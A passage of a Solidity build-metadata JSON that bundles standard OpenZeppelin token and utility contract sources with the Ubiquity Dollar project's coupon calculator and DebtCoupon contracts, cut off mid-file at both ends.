{transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\\n // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that\\n // the target address contains contract code and also asserts for success in the low-level call.\\n\\n bytes memory returndata = address(token).functionCall(data, \\\"SafeERC20: low-level call failed\\\");\\n if (returndata.length > 0) { // Return data is optional\\n // solhint-disable-next-line max-line-length\\n require(abi.decode(returndata, (bool)), \\\"SafeERC20: ERC20 operation did not succeed\\\");\\n }\\n }\\n}\\n\",\"keccak256\":\"0x99f5c21018d796db7833a2100bb0e7411999e248a3c950fb526eee5d2bf47cb7\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Address.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Collection of functions related to the address type\\n */\\nlibrary Address {\\n /**\\n * @dev Returns true if `account` is a contract.\\n *\\n * [IMPORTANT]\\n * ====\\n * It is unsafe to assume that an address for which this function returns\\n * false is an externally-owned account (EOA) and not a contract.\\n *\\n * Among others, `isContract` will return false for the following\\n * types of addresses:\\n *\\n * - an externally-owned account\\n * - a contract in construction\\n * - an address where a contract will be created\\n * - an address where a contract lived, but was destroyed\\n * ====\\n */\\n function isContract(address account) internal view returns (bool) {\\n // This method relies on extcodesize, which returns 0 for contracts in\\n // construction, since the code is only stored at the end of the\\n // constructor execution.\\n\\n uint256 size;\\n // solhint-disable-next-line no-inline-assembly\\n assembly { size := extcodesize(account) }\\n return size > 0;\\n }\\n\\n /**\\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\\n * `recipient`, forwarding all available gas and reverting on errors.\\n *\\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\\n * imposed by `transfer`, making them unable to receive funds via\\n * `transfer`. {sendValue} removes this limitation.\\n *\\n * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\\n *\\n * IMPORTANT: because control is transferred to `recipient`, care must be\\n * taken to not create reentrancy vulnerabilities. Consider using\\n * {ReentrancyGuard} or the\\n * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\\n */\\n function sendValue(address payable recipient, uint256 amount) internal {\\n require(address(this).balance >= amount, \\\"Address: insufficient balance\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\\n (bool success, ) = recipient.call{ value: amount }(\\\"\\\");\\n require(success, \\\"Address: unable to send value, recipient may have reverted\\\");\\n }\\n\\n /**\\n * @dev Performs a Solidity function call using a low level `call`. A\\n * plain`call` is an unsafe replacement for a function call: use this\\n * function instead.\\n *\\n * If `target` reverts with a revert reason, it is bubbled up by this\\n * function (like regular Solidity function calls).\\n *\\n * Returns the raw returned data. To convert to the expected return value,\\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\\n *\\n * Requirements:\\n *\\n * - `target` must be a contract.\\n * - calling `target` with `data` must not revert.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionCall(target, data, \\\"Address: low-level call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\\n * `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, 0, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but also transferring `value` wei to `target`.\\n *\\n * Requirements:\\n *\\n * - the calling contract must have an ETH balance of at least `value`.\\n * - the called Solidity function must be `payable`.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\\n return functionCallWithValue(target, data, value, \\\"Address: low-level call with value failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\\n * with `errorMessage` as a fallback revert reason when `target` reverts.\\n *\\n * _Available since v3.1._\\n */\\n function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\\n require(address(this).balance >= value, \\\"Address: insufficient balance for call\\\");\\n require(isContract(target), \\\"Address: call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.call{ value: value }(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\\n return functionStaticCall(target, data, \\\"Address: low-level static call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a static call.\\n *\\n * _Available since v3.3._\\n */\\n function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\\n require(isContract(target), \\\"Address: static call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.staticcall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\\n return functionDelegateCall(target, data, \\\"Address: low-level delegate call failed\\\");\\n }\\n\\n /**\\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\\n * but performing a delegate call.\\n *\\n * _Available since v3.4._\\n */\\n function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\\n require(isContract(target), \\\"Address: delegate call to non-contract\\\");\\n\\n // solhint-disable-next-line avoid-low-level-calls\\n (bool success, bytes memory returndata) = target.delegatecall(data);\\n return _verifyCallResult(success, returndata, errorMessage);\\n }\\n\\n function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\\n if (success) {\\n return returndata;\\n } else {\\n // Look for revert reason and bubble it up if present\\n if (returndata.length > 0) {\\n // The easiest way to bubble the revert reason is using memory via assembly\\n\\n // solhint-disable-next-line no-inline-assembly\\n assembly {\\n let returndata_size := mload(returndata)\\n revert(add(32, returndata), returndata_size)\\n }\\n } else {\\n revert(errorMessage);\\n }\\n }\\n }\\n}\\n\",\"keccak256\":\"0x069b2631bb5b5193a58ccf7a06266c7361bd2c20095667af4402817605627f45\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Context.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/*\\n * @dev Provides information about the current execution context, including the\\n * sender of the transaction and its data. While these are generally available\\n * via msg.sender and msg.data, they should not be accessed in such a direct\\n * manner, since when dealing with meta-transactions the account sending and\\n * paying for execution may not be the actual sender (as far as an application\\n * is concerned).\\n *\\n * This contract is only required for intermediate, library-like contracts.\\n */\\nabstract contract Context {\\n function _msgSender() internal view virtual returns (address) {\\n return msg.sender;\\n }\\n\\n function _msgData() internal view virtual returns (bytes calldata) {\\n this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691\\n return msg.data;\\n }\\n}\\n\",\"keccak256\":\"0xf930d2df426bfcfc1f7415be724f04081c96f4fb9ec8d0e3a521c07692dface0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/Strings.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev String operations.\\n */\\nlibrary Strings {\\n bytes16 private constant alphabet = \\\"0123456789abcdef\\\";\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\\n */\\n function toString(uint256 value) internal pure returns (string memory) {\\n // Inspired by OraclizeAPI's implementation - MIT licence\\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\\n\\n if (value == 0) {\\n return \\\"0\\\";\\n }\\n uint256 temp = value;\\n uint256 digits;\\n while (temp != 0) {\\n digits++;\\n temp /= 10;\\n }\\n bytes memory buffer = new bytes(digits);\\n while (value != 0) {\\n digits -= 1;\\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\\n value /= 10;\\n }\\n return string(buffer);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\\n */\\n function toHexString(uint256 value) internal pure returns (string memory) {\\n if (value == 0) {\\n return \\\"0x00\\\";\\n }\\n uint256 temp = value;\\n uint256 length = 0;\\n while (temp != 0) {\\n length++;\\n temp >>= 8;\\n }\\n return toHexString(value, length);\\n }\\n\\n /**\\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\\n */\\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\\n bytes memory buffer = new bytes(2 * length + 2);\\n buffer[0] = \\\"0\\\";\\n buffer[1] = \\\"x\\\";\\n for (uint256 i = 2 * length + 1; i > 1; --i) {\\n buffer[i] = alphabet[value & 0xf];\\n value >>= 4;\\n }\\n require(value == 0, \\\"Strings: hex length insufficient\\\");\\n return string(buffer);\\n }\\n\\n}\\n\",\"keccak256\":\"0x456e9b3a2bfe189b5249857f624f4139e59331db518483b456c4e587a20552e0\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/ERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC165.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC165} interface.\\n *\\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\\n * for the additional interface id that will be supported. For example:\\n *\\n * ```solidity\\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\\n * }\\n * ```\\n *\\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\\n */\\nabstract contract ERC165 is IERC165 {\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IERC165).interfaceId;\\n }\\n}\\n\",\"keccak256\":\"0x5718c5df9bd67ac68a796961df938821bb5dc0cd4c6118d77e9145afb187409b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/utils/introspection/IERC165.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC165 standard, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\\n *\\n * Implementers can declare support of contract interfaces, which can then be\\n * queried by others ({ERC165Checker}).\\n *\\n * For an implementation, see {ERC165}.\\n */\\ninterface IERC165 {\\n /**\\n * @dev Returns true if this contract implements the interface defined by\\n * `interfaceId`. See the corresponding\\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\\n * to learn more about how these ids are created.\\n *\\n * This function call must use less than 30 000 gas.\\n */\\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\\n}\\n\",\"keccak256\":\"0xa28007762d9da9db878dd421960c8cb9a10471f47ab5c1b3309bfe48e9e79ff4\",\"license\":\"MIT\"},\"contracts/CouponsForDollarsCalculator.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"./interfaces/ICouponsForDollarsCalculator.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./libs/ABDKMathQuad.sol\\\";\\nimport \\\"./DebtCoupon.sol\\\";\\n\\n/// @title Uses the following formula: ((1/(1-R)^2) - 1)\\ncontract CouponsForDollarsCalculator is ICouponsForDollarsCalculator {\\n using ABDKMathQuad for uint256;\\n using ABDKMathQuad for bytes16;\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n /* using ABDKMath64x64 for uint256;\\n using ABDKMath64x64 for int128;*/\\n\\n /// @param _manager the address of the manager/config contract so we can fetch variables\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n function getCouponAmount(uint256 dollarsToBurn)\\n external\\n view\\n override\\n returns (uint256)\\n {\\n require(\\n DebtCoupon(manager.debtCouponAddress()).getTotalOutstandingDebt() <\\n IERC20(manager.dollarTokenAddress()).totalSupply(),\\n \\\"Coupon to dollar: DEBT_TOO_HIGH\\\"\\n );\\n bytes16 one = uint256(1).fromUInt();\\n bytes16 totalDebt =\\n DebtCoupon(manager.debtCouponAddress())\\n .getTotalOutstandingDebt()\\n .fromUInt();\\n bytes16 r =\\n totalDebt.div(\\n IERC20(manager.dollarTokenAddress()).totalSupply().fromUInt()\\n );\\n\\n bytes16 oneMinusRAllSquared = (one.sub(r)).mul(one.sub(r));\\n\\n bytes16 res = one.div(oneMinusRAllSquared);\\n\\n return res.mul(dollarsToBurn.fromUInt()).toUInt();\\n }\\n}\\n\",\"keccak256\":\"0xa2661d49685cc67cdf18f16afbcba46b5dd46b06c34c224614e6146720a20da5\",\"license\":\"MIT\"},\"contracts/DebtCoupon.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/ERC1155.sol\\\";\\nimport \\\"solidity-linked-list/contracts/StructuredLinkedList.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\n\\n/// @title A coupon redeemable for dollars with an expiry block number\\n/// @notice An ERC1155 where the token ID is the expiry block number\\n/// @dev Implements ERC1155 so receiving contracts must implement IERC1155Receiver\\ncontract DebtCoupon is ERC1155 {\\n using StructuredLinkedList for StructuredLinkedList.List;\\n\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n //not public as if called externally can give inaccurate value. see method\\n uint256 private _totalOutstandingDebt;\\n\\n //represents tokenSupply of each expiry (since 1155 doesnt have this)\\n mapping(uint256 => uint256) private _tokenSupplies;\\n\\n //ordered list of coupon expiries\\n StructuredLinkedList.List private _sortedBlockNumbers;\\n\\n event MintedCoupons(address recipient, uint256 expiryBlock, uint256 amount);\\n\\n event BurnedCoupons(\\n address couponHolder,\\n uint256 expiryBlock,\\n uint256 amount\\n );\\n\\n modifier onlyCouponManager() {\\n require(\\n manager.hasRole(manager.COUPON_MANAGER_ROLE(), msg.sender),\\n \\\"Caller is not a coupon manager\\\"\\n );\\n _;\\n }\\n\\n //@dev URI param is if we want to add an off-chain meta data uri associated with this contract\\n constructor(address _manager) ERC1155(\\\"URI\\\") {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n _totalOutstandingDebt = 0;\\n }\\n\\n /// @notice Mint an amount of coupons expiring at a certain block for a certain recipient\\n /// @param amount amount of tokens to mint\\n /// @param expiryBlockNumber the expiration block number of the coupons to mint\\n function mintCoupons(\\n address recipient,\\n uint256 amount,\\n uint256 expiryBlockNumber\\n ) public onlyCouponManager {\\n _mint(recipient, expiryBlockNumber, amount, \\\"\\\");\\n emit MintedCoupons(recipient, expiryBlockNumber, amount);\\n\\n //insert new relevant block number if it doesnt exist in our list\\n // (linkedlist implementation wont insert if dupe)\\n _sortedBlockNumbers.pushBack(expiryBlockNumber);\\n\\n //update the total supply for that expiry and total outstanding debt\\n _tokenSupplies[expiryBlockNumber] =\\n _tokenSupplies[expiryBlockNumber] +\\n (amount);\\n _totalOutstandingDebt = _totalOutstandingDebt + (amount);\\n }\\n\\n /// @notice Burn an amount of coupons expiring at a certain block from\\n /// a certain holder's balance\\n /// @param couponOwner the owner of those coupons\\n /// @param amount amount of tokens to burn\\n /// @param 